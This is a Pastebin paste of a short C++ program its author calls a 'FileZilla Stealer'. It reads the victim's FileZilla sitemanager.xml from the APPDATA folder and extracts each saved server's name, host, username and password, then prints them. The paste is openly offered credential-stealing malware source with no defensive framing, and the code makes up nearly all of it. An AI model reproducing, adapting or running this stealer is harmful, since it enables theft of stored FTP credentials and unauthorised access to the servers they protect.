Guest User

Untitled

a guest
Nov 20th, 2018
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.33 KB | None | 0 0
  1. // FilleZilla Stealer by den5e //
  2. // 2012 //
  3.  
  4. #include <iostream>
  5. #include <cstdlib>
  6. #include <fstream>
  7. #include <string>
  8. #include <vector>
  9.  
  10. // Gets string between xml tags //
  11. std::string getEntry(std::string data, std::string first, std::string second);
  12.  
  13. // FileZilla Login Data//
  14. struct FData{
  15. std::string name; // Name //
  16. std::string host; // Hostname //
  17. std::string user; // Username //
  18. std::string pass; // Password //
  19. };
  20.  
  21. // STL Vector //
  22. std::vector<FData> fdata;
  23.  
  24. int main(){
  25. // Finding APPDATA //
  26. std::string path = std::getenv("APPDATA");
  27. path += "\\FileZilla\\sitemanager.xml";
  28. std::cout << path << std::endl;
  29.  
  30. std::ifstream file;
  31. file.open(path.c_str());
  32. if(file.is_open()){
  33. int current = -1;
  34. while(!file.eof()){
  35. char buffer[1024];
  36. file.getline(buffer, 1024);
  37.  
  38. std::string bf = buffer;
  39. // If new open server tag, add new FData to vector //
  40. if(bf.find("<Server>") != std::string::npos){
  41. current++;
  42. fdata.push_back(FData());
  43. }else if(bf.find("<Name>") != std::string::npos){
  44. fdata[current].name = getEntry(bf, "<Name>", "</Name>");
  45. }else if(bf.find("<Host>") != std::string::npos){
  46. fdata[current].host = getEntry(bf, "<Host>", "</Host>");
  47. }else if(bf.find("<User>") != std::string::npos){
  48. fdata[current].user = getEntry(bf, "<User>", "</User>");
  49. }else if(bf.find("<Pass>") != std::string::npos){
  50. fdata[current].pass = getEntry(bf, "<Pass>", "</Pass>");
  51. }
  52. }
  53. }
  54.  
  55. file.close();
  56.  
  57. // Print shit out //
  58. for(int i = 0; i < fdata.size(); i++){
  59. std::cout << "--------------------------------\n";
  60. std::cout << "Name: " << fdata[i].name << std::endl;
  61. std::cout << "Host: " << fdata[i].host << std::endl;
  62. std::cout << "User: " << fdata[i].user << std::endl;
  63. std::cout << "Pass: " << fdata[i].pass << std::endl;
  64. std::cout << "--------------------------------\n";
  65. }
  66.  
  67. char f;
  68. std::cin >> f;
  69.  
  70. return 0;
  71. }
  72.  
  73. std::string getEntry(std::string data, std::string first, std::string second){
  74. int index1 = data.find(first) + first.size();
  75. int index2 = data.find(second);
  76.  
  77. return data.substr(index1, index2 - index1);
  78. }
Add Comment
Please, Sign In to add comment